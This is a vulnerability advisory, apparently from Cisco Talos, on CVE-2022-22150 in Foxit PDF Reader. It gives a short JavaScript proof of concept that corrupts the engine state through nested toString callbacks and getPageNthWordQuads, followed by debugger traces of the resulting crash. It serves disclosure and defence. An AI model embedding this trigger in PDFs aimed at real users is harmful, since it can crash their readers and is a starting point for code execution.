CVE-2022-22150
A memory corruption vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 11.1.0.52543. A specially-crafted PDF document can trigger an exception which is improperly handled, leaving the engine in an invalid state, which can lead to memory corruption and arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted, malicious site if the browser plugin extension is enabled.
Foxit Reader 11.1.0.52543
Foxit Reader - https://www.foxitsoftware.com/pdf-reader/
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-460 - Improper Cleanup on Thrown Exception
Foxit PDF Reader is one of the most popular PDF document readers and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.
Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exsists a memory corruption vulnerability in the way Foxit’s Javascript bindings handle certain exceptions. More specifically , method getPageNthWordQuads
can cause a C++ exception to be thrown which, under usual circumstances, would terminate further javascript execution. However, when such an exception happens during nested execution, such as during event handler or from a different function callback, exceptions can be caught while the rest of the code continues to execute. Thrown exception leaves javascript engine runtime in an inconsistent state, which can then lead to further memory corruption. To illustrate this issue, the following Javascript code can be used:
function main() {
app.activeDocs[0].getField('txt3')['borderStyle'] = {toString:f1};
}
function f1() {
app.activeDocs[0].getField('txt3').buttonSetCaption({toString:f2});
}
function f2() {
app.activeDocs[0].getPageNthWordQuads(0,-1);
}
Above code uses a couple of properties and functions of txt3
field to illustrate the point and make the crash context interesting, but the same vulnerability can be triggered in many ways. First, borderStyle
is assigned a new value with an object whose toString
points to f1
. Since borderStyle
expects a string, f1
is immediatelly executed. Inside f1
, buttonSetCaption
is invoked in a similar manner, with an object whose toString
points to function f2
. Function buttonSetCaption
similarly expects a string value, so f2
is immediately executed. Inside f2
, method getPageNthWordQuads
is called with a second parameter being a malformed value. Second parameter is supposed to be an index of a word on a page and is supposed to be a positive value.
To see what happens, we can follow in the debugger, starting from the execution of getPageNthWordQuads
:
00 004fdae0 031e3cb2 FoxitPDFReader!safe_vsnprintf+0xe33e98
01 004fdb34 0357371b FoxitPDFReader!safe_vsnprintf+0xe06012
02 004fdb7c 03739129 FoxitPDFReader!FXJSE_GetClass+0x2cb
03 004fdbd0 037388bf FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c5339
04 004fdc64 03738b81 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4acf
05 004fdcac 03738a1b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4d91
06 004fdcc8 038dfd37 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4c2b
07 004fdce8 0386e670 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x36bf47
08 004fdd2c 038689bc FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2fa880
09 004fdd54 0386c1ff FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f4bcc
0a 004fdd68 0386c01b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f840f
0b 004fdd94 035aa406 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f822b
0c 004fde58 035a9ee7 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x36616
0d 004fded8 036244d9 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x360f7
0e 004fdf48 036276d6 FoxitPDFReader!CFXJSE_Arguments::GetValue+0xb06e9
0f 004fdf7c 035d36bc FoxitPDFReader!CFXJSE_Arguments::GetValue+0xb38e6
10 004fdfa4 0359d317 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x5f8cc
11 004fe020 03573d80 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x29527
12 004fe05c 0325694a FoxitPDFReader!CFXJSE_Arguments::GetUTF8String+0x60
13 004fe0b8 03225412 FoxitPDFReader!safe_vsnprintf+0xe78caa
14 004fe10c 0357371b FoxitPDFReader!safe_vsnprintf+0xe47772
15 004fe154 03739129 FoxitPDFReader!FXJSE_GetClass+0x2cb
16 004fe1a8 037388bf FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c5339
17 004fe23c 03738b81 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4acf
18 004fe284 03738a1b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4d91
19 004fe2a0 038dfd37 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4c2b
1a 004fe2c0 0386e670 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x36bf47
1b 004fe300 038689bc FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2fa880
1c 004fe328 0386c1ff FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f4bcc
1d 004fe33c 0386c01b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f840f
1e 004fe368 035aa406 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f822b
1f 004fe42c 035a9ee7 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x36616
20 004fe4ac 036244d9 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x360f7
21 004fe51c 036276d6 FoxitPDFReader!CFXJSE_Arguments::GetValue+0xb06e9
22 004fe550 035d36bc FoxitPDFReader!CFXJSE_Arguments::GetValue+0xb38e6
23 004fe578 0359d317 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x5f8cc
24 004fe5f4 0356f768 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x29527
25 004fe654 03240ffe FoxitPDFReader!FXJSE_Value_ToUTF8String+0x88
26 004fe6d0 032556a8 FoxitPDFReader!safe_vsnprintf+0xe6335e
27 004fe6fc 0322bf51 FoxitPDFReader!safe_vsnprintf+0xe77a08
28 004fe750 03573a02 FoxitPDFReader!safe_vsnprintf+0xe4e2b1
29 004fe78c 035d1942 FoxitPDFReader!FXJSE_GetClass+0x5b2
2a 004fe7e4 035e9163 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x5db52
2b 004fe894 035e8ee3 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x75373
2c 004fe8d8 035e8ace FoxitPDFReader!CFXJSE_Arguments::GetValue+0x750f3
2d 004fe910 03854604 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x74cde
2e 004fe990 0384fe49 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2e0814
2f 004fea08 038dfc57 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2dc059
30 004fea28 0392b2ea FoxitPDFReader!CFXJSE_Arguments::GetValue+0x36be67
31 004fea64 0386e670 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3b74fa
32 004fea8c 0386e670 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2fa880
33 004feab8 0386c1ff FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2fa880
34 004feacc 0386c01b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f840f
0:000> u
FoxitPDFReader!safe_vsnprintf+0xe33e98:
03211b38 3bc6 cmp eax,esi
03211b3a 0f8e30020000 jle FoxitPDFReader!safe_vsnprintf+0xe340d0 (03211d70)
03211b40 0f8651020000 jbe FoxitPDFReader!safe_vsnprintf+0xe340f7 (03211d97)
0:000> ?eax
Evaluate expression: 0 = 00000000
0:000> ?esi
Evaluate expression: -2147483648 = 80000000
Note in the above call stack a particular frame FoxitPDFReader!FXJSE_Value_ToUTF8String+0x88
. Breakpoint is on a cmp
instruction comparing values in eax and esi. Value in esi
is derived from the negative value supplied to getPageNthWordQuads
. First jump will fall through, but second one is followed to land at:
Breakpoint 2 hit
eax=00000000 ebx=1d004a68 ecx=00000000 edx=3c70ee60 esi=80000000 edi=00000000
eip=03211d97 esp=004fd9b0 ebp=004fdae0 iopl=0 ov up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000a87
FoxitPDFReader!safe_vsnprintf+0xe340f7:
03211d97 e88438ffff call FoxitPDFReader!safe_vsnprintf+0xe27980 (03205620)
0:000> u
FoxitPDFReader!safe_vsnprintf+0xe340f7:
03211d97 e88438ffff call FoxitPDFReader!safe_vsnprintf+0xe27980 (03205620)
03211d9c cc int 3
03211d9d cc int 3
03211d9e cc int 3
03211d9f cc int 3
03211da0 55 push ebp
03211da1 8bec mov ebp,esp
03211da3 6aff push 0FFFFFFFFh
We can note that the above call instruction is followed by breakpoint instructions, indicating that it never returns. This is indicative of an exception being raised.
0:000> u
FoxitPDFReader!safe_vsnprintf+0xe27980:
03205620 683007b605 push offset FoxitPDFReader!google::LogMessage::kMaxLogMessageLen+0xa36ab4 (05b60730)
03205625 e8d0656c01 call FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x381a0a (048cbbfa)
0320562a cc int 3
0320562b cc int 3
0320562c cc int 3
0320562d cc int 3
0320562e cc int 3
0320562f cc int 3
0:000> ba 05b60730
0:000> da 05b60730
05b60730 "invalid vector<T> subscript"
Indeed, an exception with message invalid vector<T> subscript
is about to be thrown. Continuing execution through all of the exception chain reveals mostly empty handlers. To see where code actually resumes execution, we can break at NtContinue:
Breakpoint 9 hit
eax=004fc8e0 ebx=004fe648 ecx=00500000 edx=004ca000 esi=004fe648 edi=004fcdf8
eip=77823af5 esp=004fc818 ebp=004fcbbc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!RtlUnwind+0x145:
77823af5 e806720000 call ntdll!NtContinue (7782ad00)
0:000> t
eax=004fc8e0 ebx=004fe648 ecx=00500000 edx=004ca000 esi=004fe648 edi=004fcdf8
eip=7782ad00 esp=004fc814 ebp=004fcbbc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!NtContinue:
7782ad00 b843000000 mov eax,43h
0:000> t
eax=00000043 ebx=004fe648 ecx=00500000 edx=004ca000 esi=004fe648 edi=004fcdf8
eip=7782ad05 esp=004fc814 ebp=004fcbbc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!NtContinue+0x5:
7782ad05 ba60f18377 mov edx,offset ntdll!Wow64SystemServiceCall (7783f160)
0:000>
eax=00000043 ebx=004fe648 ecx=00500000 edx=7783f160 esi=004fe648 edi=004fcdf8
eip=7782ad0a esp=004fc814 ebp=004fcbbc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!NtContinue+0xa:
7782ad0a ffd2 call edx {ntdll!Wow64SystemServiceCall (7783f160)}
0:000>
eax=00000043 ebx=004fe648 ecx=00500000 edx=7783f160 esi=004fe648 edi=004fcdf8
eip=7783f160 esp=004fc810 ebp=004fcbbc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!Wow64SystemServiceCall:
7783f160 ff2528b28d77 jmp dword ptr [ntdll!Wow64Transition (778db228)] ds:002b:778db228=777b7000
0:000>
eax=00000043 ebx=004fe648 ecx=00500000 edx=7783f160 esi=004fe648 edi=004fcdf8
eip=777b7000 esp=004fc810 ebp=004fcbbc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
777b7000 ea09707b773300 jmp 0033:777B7009
0:000>
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=04988abc esp=004fcbd4 ebp=004fcbe8 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000286
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x43e8cc:
04988abc 8b450c mov eax,dword ptr [ebp+0Ch] ss:002b:004fcbf4=004fcdf8
0:000>
After exception unwinding, execution is back in Foxit code. Above instruction at FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x43e8cc
is simply a return point which restores execution, and it should return to a point in code outside the caught exception. And indeed:
0:000>
Breakpoint 11 hit
eax=0356f7df ebx=004fe648 ecx=0498f630 edx=006d0000 esi=060948e0 edi=004fe648
eip=0356f7df esp=004fe604 ebp=004fe654 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
FoxitPDFReader!FXJSE_Value_ToUTF8String+0xff:
0356f7df 32c0 xor al,al
0:000> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 004fe654 03240ffe FoxitPDFReader!FXJSE_Value_ToUTF8String+0xff
01 004fe6d0 032556a8 FoxitPDFReader!safe_vsnprintf+0xe6335e
02 004fe6fc 0322bf51 FoxitPDFReader!safe_vsnprintf+0xe77a08
03 004fe750 03573a02 FoxitPDFReader!safe_vsnprintf+0xe4e2b1
04 004fe78c 035d1942 FoxitPDFReader!FXJSE_GetClass+0x5b2
05 004fe7e4 035e9163 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x5db52
06 004fe894 035e8ee3 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x75373
07 004fe8d8 035e8ace FoxitPDFReader!CFXJSE_Arguments::GetValue+0x750f3
From the above call stack, we can see that execution resumes inside FXJSE_Value_ToUTF8String
function. A call to ToUTF8String
javascript binding is performed when our javascript code invokes buttonSetCaption
. During its execution, a redefined toString
function f2
is invoked. Since this exception is caught in FXJSE_Value_ToUTF8String
, further javascript execution continues. Since previous fragments weren’t executed to completion, this left the engine in an undefined state and quickly leads to memory corruption:
0:000> g
(2e0c.2378): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=004c0000 ebx=3c789ff8 ecx=3c884ff0 edx=3c889f28 esi=004fdea4 edi=3c713748
eip=03606f8c esp=004fe130 ebp=004fe13c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
FoxitPDFReader!CFXJSE_Arguments::GetValue+0x9319c:
03606f8c 8b8884000000 mov ecx,dword ptr [eax+84h] ds:002b:004c0084=????????
Above piece of code is part of V8’s deoptimizer, which would perform various operations on the javascript code being executed. Due to memory corruption, a stack pointer ends up being masked and used:
03606f84 8bc6 mov eax, esi
03606f86 250000fcff and eax, 0FFFC0000h
03606f8b 56 push esi
03606f8c 8b8884000000 mov ecx, dword ptr [eax+84h]
03606f92 e8b9451f00 call FoxitPDFReader!CFXJSE_Arguments::GetValue+0x287760 (037fb550)
This ultimately leads to a crash. Since context and time of thrown exception can be controlled, as well as javascript code that gets executed afterwards, other means of memory corruption can be achieved. Above crash is just one example. With careful memory layout manipulation, this can lead to arbitrary code execution.
2022-01-11 - Vendor disclosure
2022-01-31 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.